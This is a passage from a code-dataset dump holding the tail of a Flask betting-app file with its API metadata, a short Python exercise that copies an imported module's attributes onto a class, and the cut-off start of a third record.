timedelta(days=7),\r\n Event.resolved == resolved,\r\n Event.date <= month_forward,\r\n )\r\n .limit(10)\r\n .all()\r\n )\r\n\r\n s = [\r\n {\r\n \"title\": s.title,\r\n \"date\": str(s.date),\r\n \"datetime\": str(s.datetime),\r\n \"strThumb\": s.strThumb,\r\n \"id\": s.id,\r\n \"home_team\": s.home_team,\r\n \"away_team\": s.away_team,\r\n }\r\n for s in search_result\r\n ]\r\n return json.dumps(s)\r\n\r\n@app.route(\"/event/\")\r\ndef render_event(id):\r\n \"\"\"Renders a specific event based on id parameter in link\"\"\"\r\n event = Event.query.get(id)\r\n\r\n # redirect to home if event does not exist\r\n if event is None:\r\n return redirect(\"/\")\r\n\r\n if event is not None and current_user.is_authenticated:\r\n bet = Bet.query.filter(\r\n Bet.event == event.id, Bet.user_id == current_user.id\r\n ).first()\r\n\r\n else:\r\n bet = None\r\n bet_on = False if bet == None else True\r\n result = event.winner\r\n\r\n comments = Comment.query.filter(Comment.event == event.id).limit(20).all()\r\n\r\n # get 5 most recent bets on event\r\n\r\n if len(event.bets) > 0:\r\n bets = event.bets[-5:]\r\n else:\r\n bets = None\r\n\r\n return render_template(\r\n \"event.html\",\r\n event=event,\r\n bet_on=bet_on,\r\n bet=bet,\r\n bets=bets,\r\n result=result,\r\n comments=comments,\r\n )\r\n\r\n\r\n# API endpoints called from JS event listener to make bet\r\n\r\n@app.route(\"/api/bet\", methods=[\"POST\"])\r\ndef place_bet():\r\n \"\"\"Receives JSON posted from JS event listener with 1) event ID user is betting on 2) user's bet. We can retrieve current user ID from Flask session to update database\"\"\"\r\n\r\n if current_user.is_authenticated is False:\r\n return json.dumps({\"text\": \"Please login or register to place a bet\"})\r\n\r\n json_data = json.loads(request.data)\r\n # get the selection + event ID + amt the user bet\r\n selection = json_data[\"selection\"]\r\n amount = json_data[\"betAmt\"]\r\n event = Event.query.get(json_data[\"eventId\"])\r\n\r\n # add Bet record in database\r\n db.session.add(\r\n Bet(\r\n event=event.id,\r\n event_date=event.date,\r\n selection=selection,\r\n amount=int(amount),\r\n user_id=current_user.id,\r\n )\r\n )\r\n\r\n # get current user balance, then update it\r\n user_balance = convert_to_named_tuple(\r\n db.session.execute(\r\n \"SELECT balance FROM user_balance WHERE user_id = :user_id\",\r\n {\"user_id\": current_user.id},\r\n )\r\n )[0].balance\r\n\r\n new_balance = user_balance - int(amount)\r\n # prevent any bet that brings user balance below 0\r\n if new_balance < 0:\r\n return json.dumps(\r\n {\"text\": f\"Your balance of {user_balance} is too low for this bet.\"}\r\n )\r\n else:\r\n db.session.execute(\r\n \"UPDATE user_balance SET balance = :new_balance WHERE user_id = :id\",\r\n {\"new_balance\": new_balance, \"id\": current_user.id},\r\n )\r\n db.session.commit()\r\n return json.dumps(\r\n {\"text\": f\"You bet on {selection}. New balance is {new_balance}\"}\r\n )\r\n\r\n\r\n@app.route(\"/api/bet\", methods=[\"PATCH\"])\r\ndef update_bet():\r\n \"\"\"Receives JSON posted from scheduled task with 1) event ID 2) resolution to bet and then updates database\"\"\"\r\n json_data = json.loads(request.data)\r\n event = Event.query.get(json_data[\"eventId\"])\r\n\r\n\r\n@app.route(\"/api/bet\", methods=[\"DELETE\"])\r\ndef delete_bet():\r\n \"\"\"Receives JSON posted from JS event listener with event ID user is deleting and updates database\"\"\"\r\n json_data = json.loads(request.data)\r\n print(\"pause\")\r\n return json.dumps({\"text\": f\"You bet on {json_data['selection']}\"})\r\n\r\n\r\n@app.route(\"/balance/\")\r\ndef reload_balance(id):\r\n \"\"\"Reloads balance if user is eligible\"\"\"\r\n user_record = convert_to_named_tuple(\r\n db.session.execute(\r\n \"SELECT can_refill_balance FROM users WHERE id = :id\", {\"id\": id}\r\n )\r\n )\r\n if user_record[0].can_refill_balance:\r\n db.session.execute(\r\n \"UPDATE user_balance SET balance = (balance + 500) WHERE user_id = :id\",\r\n {\"id\": id},\r\n )\r\n db.session.execute(\r\n \"UPDATE users SET can_refill_balance = FALSE WHERE id=:id\", {\"id\": id}\r\n )\r\n db.session.commit()\r\n balance_record = convert_to_named_tuple(\r\n db.session.execute(\r\n \"SELECT balance FROM user_balance WHERE user_id = :id\", {\"id\": id}\r\n )\r\n )\r\n return json.dumps({\"balance\": balance_record[0].balance, \"eligible\": True})\r\n else:\r\n return json.dumps({\"eligible\": False})\r\n\r\n\r\n@app.route(\"/comment/\", methods=[\"POST\"])\r\ndef create_comment(event):\r\n \"\"\"Handles post requests to create comments from event page\"\"\"\r\n event_id = request.args.get(\"id\")\r\n text = request.form.get(\"comment\")\r\n name = request.form.get(\"name\")\r\n if not text:\r\n flash(f\"comment can't be empty\", \"error\")\r\n else:\r\n event = Event.query.filter_by(id=event_id).first()\r\n if event:\r\n comment = Comment(\r\n comment=text,\r\n commenter=current_user.id,\r\n event=event.id,\r\n date=datetime.today(),\r\n datetime=datetime.now(),\r\n )\r\n db.session.add(comment)\r\n db.session.commit()\r\n flash(f\"Your comment has been successfully created!!! 🙌🏼 \", \"success\")\r\n else:\r\n flash(f\"event not found\", \"error\")\r\n\r\n return redirect(url_for(\"render_event\", id=event_id))", "repo_name": "cmyk505/better-bets", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 17043, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 49, "usage_type": "attribute"}, {"api_name": "models.login_manager", "line_number": 51, "usage_type": "name"}, {"api_name": "models.LoginManager", "line_number": 51, "usage_type": "call"}, {"api_name": "models.login_manager.login_view", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.login_manager", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.Flask", "line_number": 55, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 58, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 59, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 61, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 62, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 63, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.login_manager.init_app", "line_number": 72, "usage_type": "call"}, {"api_name": "models.login_manager", "line_number": 72, "usage_type": "name"}, {"api_name": "logging.basicConfig", "line_number": 74, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 75, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask_apscheduler.APScheduler", "line_number": 80, "usage_type": "call"}, {"api_name": "tasks.run_tasks", "line_number": 87, "usage_type": "call"}, {"api_name": "models.db", "line_number": 87, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 88, "usage_type": "name"}, {"api_name": "tasks.update_reload_balance", "line_number": 94, "usage_type": "call"}, {"api_name": "models.db", "line_number": 94, "usage_type": "argument"}, {"api_name": "models.connect_db", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 104, "usage_type": "call"}, {"api_name": "models.User.query.get", "line_number": 113, "usage_type": "call"}, {"api_name": "models.User.query", "line_number": 113, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 113, "usage_type": "name"}, {"api_name": "models.login_manager.user_loader", "line_number": 109, "usage_type": "attribute"}, {"api_name": "models.login_manager", "line_number": 109, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 119, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 119, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 122, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 122, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 123, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 123, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 123, "usage_type": "name"}, {"api_name": "models.Event.query.filter", "line_number": 125, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 125, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 125, "usage_type": "name"}, {"api_name": "models.Event.title.ilike", "line_number": 126, "usage_type": "call"}, {"api_name": "models.Event.title", "line_number": 126, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 126, "usage_type": "name"}, {"api_name": "models.Event.date", "line_number": 127, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 127, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 127, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 127, "usage_type": "name"}, {"api_name": "models.Event.resolved", "line_number": 128, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 128, "usage_type": "name"}, {"api_name": "models.Event.date", "line_number": 129, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 129, "usage_type": "name"}, {"api_name": "models.Event.date.asc", "line_number": 131, "usage_type": "call"}, {"api_name": "models.Event.date", "line_number": 131, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 131, "usage_type": "name"}, {"api_name": "models.Event.query.filter", "line_number": 137, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 137, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 137, "usage_type": "name"}, {"api_name": "models.Event.date", "line_number": 138, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 138, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 138, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 138, "usage_type": "name"}, {"api_name": "models.Event.resolved", "line_number": 139, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 139, "usage_type": "name"}, {"api_name": "models.Event.date", "line_number": 140, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 140, "usage_type": "name"}, {"api_name": "models.Event.date.asc", "line_number": 142, "usage_type": "call"}, {"api_name": "models.Event.date", "line_number": 142, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 142, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 148, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 148, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 148, "usage_type": "call"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 151, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 151, "usage_type": "name"}, {"api_name": "models.Bet.query.filter", "line_number": 152, "usage_type": "call"}, {"api_name": "models.Bet.query", "line_number": 152, "usage_type": "attribute"}, {"api_name": "models.Bet", "line_number": 152, "usage_type": "name"}, {"api_name": "models.Bet.event_date", "line_number": 153, "usage_type": "attribute"}, {"api_name": "models.Bet", "line_number": 153, "usage_type": "name"}, {"api_name": "models.Bet.user_id", "line_number": 153, "usage_type": "attribute"}, {"api_name": "flask_login.current_user.id", "line_number": 153, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 153, "usage_type": "name"}, {"api_name": "models.Event.query.filter", "line_number": 161, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 161, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 161, "usage_type": "name"}, {"api_name": "models.Event.id", "line_number": 161, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 169, "usage_type": "call"}, {"api_name": "forms.RegistrationForm", "line_number": 174, "usage_type": "call"}, {"api_name": "models.bcrypt.generate_password_hash", "line_number": 176, "usage_type": "call"}, {"api_name": "models.bcrypt", "line_number": 176, "usage_type": "name"}, {"api_name": "models.User", "line_number": 179, "usage_type": "call"}, {"api_name": "models.db.session.add", "line_number": 185, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 185, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 185, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 186, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 186, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 186, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 187, "usage_type": "call"}, {"api_name": "models.db.session.execute", "line_number": 192, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 192, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 192, "usage_type": "name"}, {"api_name": "models.UserBalance", "line_number": 198, "usage_type": "call"}, {"api_name": "models.db.session.add", "line_number": 200, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 200, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 200, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 201, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 201, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 201, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 202, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 202, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 203, "usage_type": "call"}, {"api_name": "forms.LoginForm", "line_number": 208, "usage_type": "call"}, {"api_name": "models.User.query.filter_by", "line_number": 210, "usage_type": "call"}, {"api_name": "models.User.query", "line_number": 210, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 210, "usage_type": "name"}, {"api_name": "models.bcrypt.check_password_hash", "line_number": 211, "usage_type": "call"}, {"api_name": "models.bcrypt", "line_number": 211, "usage_type": "name"}, {"api_name": "flask_login.login_user", "line_number": 214, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 217, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 218, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 218, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 220, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 221, "usage_type": "call"}, {"api_name": "flask_login.logout_user", "line_number": 227, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 228, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 229, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 229, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 224, "usage_type": "name"}, {"api_name": "helpers.convert_to_named_tuple", "line_number": 236, "usage_type": "call"}, {"api_name": "models.db.session.execute", "line_number": 237, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 237, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 237, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 239, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 239, "usage_type": "name"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 245, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 245, "usage_type": "name"}, {"api_name": "models.Bet.query.filter", "line_number": 246, "usage_type": "call"}, {"api_name": "models.Bet.query", "line_number": 246, "usage_type": "attribute"}, {"api_name": "models.Bet", "line_number": 246, "usage_type": "name"}, {"api_name": "models.Bet.user_id", "line_number": 246, "usage_type": "attribute"}, {"api_name": "flask_login.current_user.id", "line_number": 246, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 246, "usage_type": "name"}, {"api_name": "models.Event.query.filter", "line_number": 253, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 253, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 253, "usage_type": "name"}, {"api_name": "models.Event.id", "line_number": 253, "usage_type": "attribute"}, {"api_name": "forms.DeleteUser", "line_number": 258, "usage_type": "call"}, {"api_name": "flask_login.current_user.email", "line_number": 260, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 260, "usage_type": "name"}, {"api_name": "models.db.session.execute", "line_number": 262, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 262, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 262, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 264, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 264, "usage_type": "name"}, {"api_name": "models.db.session.execute", "line_number": 266, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 266, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 266, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 268, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 268, "usage_type": "name"}, {"api_name": "models.db.session.delete", "line_number": 270, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 270, "usage_type": "argument"}, {"api_name": "models.db.session", "line_number": 270, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 270, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 271, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 271, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 271, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 272, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 273, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 273, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 274, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 232, "usage_type": "name"}, {"api_name": "helpers.convert_to_named_tuple", "line_number": 288, "usage_type": "call"}, {"api_name": "models.db.session.execute", "line_number": 289, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 289, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 289, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 290, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 290, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 298, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 284, "usage_type": "name"}, {"api_name": "forms.ChangePasswordForm", "line_number": 304, "usage_type": "call"}, {"api_name": "models.bcrypt.generate_password_hash", "line_number": 306, "usage_type": "call"}, {"api_name": "models.bcrypt", "line_number": 306, "usage_type": "name"}, {"api_name": "models.bcrypt.check_password_hash", "line_number": 309, "usage_type": "call"}, {"api_name": "models.bcrypt", "line_number": 309, "usage_type": "name"}, {"api_name": "flask_login.current_user.hashed_password", "line_number": 310, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 310, "usage_type": "name"}, {"api_name": "models.db.session.execute", "line_number": 312, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 312, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 312, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 315, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 315, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 319, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 319, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 319, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 320, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 321, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 321, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 323, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 327, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 301, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 333, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 333, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 334, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 334, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 339, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 339, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 339, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 340, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 340, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 340, "usage_type": "call"}, {"api_name": "models.Event.query.filter", "line_number": 343, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 343, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 343, "usage_type": "name"}, {"api_name": "models.Event.title.ilike", "line_number": 344, "usage_type": "call"}, {"api_name": "models.Event.title", "line_number": 344, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 344, "usage_type": "name"}, {"api_name": "models.Event.date", "line_number": 345, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 345, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 345, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 345, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 345, "usage_type": "call"}, {"api_name": "models.Event.resolved", "line_number": 346, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 346, "usage_type": "name"}, {"api_name": "models.Event.date", "line_number": 347, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 347, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 365, "usage_type": "call"}, {"api_name": "models.Event.query.get", "line_number": 370, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 370, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 370, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 374, "usage_type": "call"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 376, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 376, "usage_type": "name"}, {"api_name": "models.Bet.query.filter", "line_number": 377, "usage_type": "call"}, {"api_name": "models.Bet.query", "line_number": 377, "usage_type": "attribute"}, {"api_name": "models.Bet", "line_number": 377, "usage_type": "name"}, {"api_name": "models.Bet.event", "line_number": 378, "usage_type": "attribute"}, {"api_name": "models.Bet", "line_number": 378, "usage_type": "name"}, {"api_name": "models.Bet.user_id", "line_number": 378, "usage_type": "attribute"}, {"api_name": "flask_login.current_user.id", "line_number": 378, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 378, "usage_type": "name"}, {"api_name": "models.Comment.query.filter", "line_number": 386, "usage_type": "call"}, {"api_name": "models.Comment.query", "line_number": 386, "usage_type": "attribute"}, {"api_name": "models.Comment", "line_number": 386, "usage_type": "name"}, {"api_name": "models.Comment.event", "line_number": 386, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 395, "usage_type": "call"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 412, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 412, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 413, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 415, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 415, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 415, "usage_type": "name"}, {"api_name": "models.Event.query.get", "line_number": 419, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 419, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 419, "usage_type": "name"}, {"api_name": "models.db.session.add", "line_number": 422, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 422, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 422, "usage_type": "name"}, {"api_name": "models.Bet", "line_number": 423, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 428, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 428, "usage_type": "name"}, {"api_name": "helpers.convert_to_named_tuple", "line_number": 433, "usage_type": "call"}, {"api_name": "models.db.session.execute", "line_number": 434, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 434, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 434, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 436, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 436, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 443, "usage_type": "call"}, {"api_name": "models.db.session.execute", "line_number": 447, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 447, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 447, "usage_type": "name"}, {"api_name": "flask_login.current_user.id", "line_number": 449, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 449, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 451, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 451, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 451, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 452, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 460, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 460, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 460, "usage_type": "name"}, {"api_name": "models.Event.query.get", "line_number": 461, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 461, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 461, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 467, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 467, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 467, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 469, "usage_type": "call"}, {"api_name": "helpers.convert_to_named_tuple", "line_number": 475, "usage_type": "call"}, {"api_name": "models.db.session.execute", "line_number": 476, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 476, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 476, "usage_type": "name"}, {"api_name": "models.db.session.execute", "line_number": 481, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 481, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 481, "usage_type": "name"}, {"api_name": "models.db.session.execute", "line_number": 485, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 485, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 485, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 488, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 488, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 488, "usage_type": "name"}, {"api_name": "helpers.convert_to_named_tuple", "line_number": 489, "usage_type": "call"}, {"api_name": "models.db.session.execute", "line_number": 490, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 490, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 490, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 494, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 496, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 502, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 502, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 502, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 503, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 503, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 503, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 504, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 504, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 504, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 506, "usage_type": "call"}, {"api_name": "models.Event.query.filter_by", "line_number": 508, "usage_type": "call"}, {"api_name": "models.Event.query", "line_number": 508, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 508, "usage_type": "name"}, {"api_name": "models.Comment", "line_number": 510, "usage_type": "call"}, {"api_name": "flask_login.current_user.id", "line_number": 512, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 512, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 514, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 514, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 515, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 515, "usage_type": "name"}, {"api_name": "models.db.session.add", "line_number": 517, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 517, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 517, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 518, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 518, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 518, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 519, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 521, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 523, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 523, "usage_type": "call"}]} {"seq_id": "72354734943", "text": "import os\nimport re\nimport importlib\n\ndotted_path = 'b.toupa'\nmodule_path, module = dotted_path.rsplit('.', 1)\n\nclass A:\n \"\"\"\n Example of an application that imports\n another module and sets its attributes\n to a class\n \"\"\"\n def __init__(self):\n # Import module\n mod = importlib.import_module(module)\n self.mod = mod\n pattern = r'[a-zA-Z]+'\n # e.g. [__attributes__]\n for attr in dir(mod):\n # Get none underscored \n # attributes e.g. __file__\n if re.search(pattern, attr):\n # Set attributes to class\n attr_value = getattr(mod, attr)\n setattr(self, attr, attr_value)\n\n def __repr__(self):\n # Returns itself automatically\n # on class call ./. Is callable\n return '<%(cls)s \"%(module)s>\"' % {\n 'cls':self.__class__.__name__,\n 'module':self.mod,\n }\n", "repo_name": "Zadigo/my_python_codes", "sub_path": "exercises/paris.py", "file_name": "paris.py", "file_ext": "py", "file_size_in_byte": 934, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "importlib.import_module", "line_number": 16, "usage_type": "call"}, {"api_name": "re.search", "line_number": 23, "usage_type": "call"}]} {"seq_id": "16666502074", "text": "#Matthew Leung\n#Code last modified: February 15, 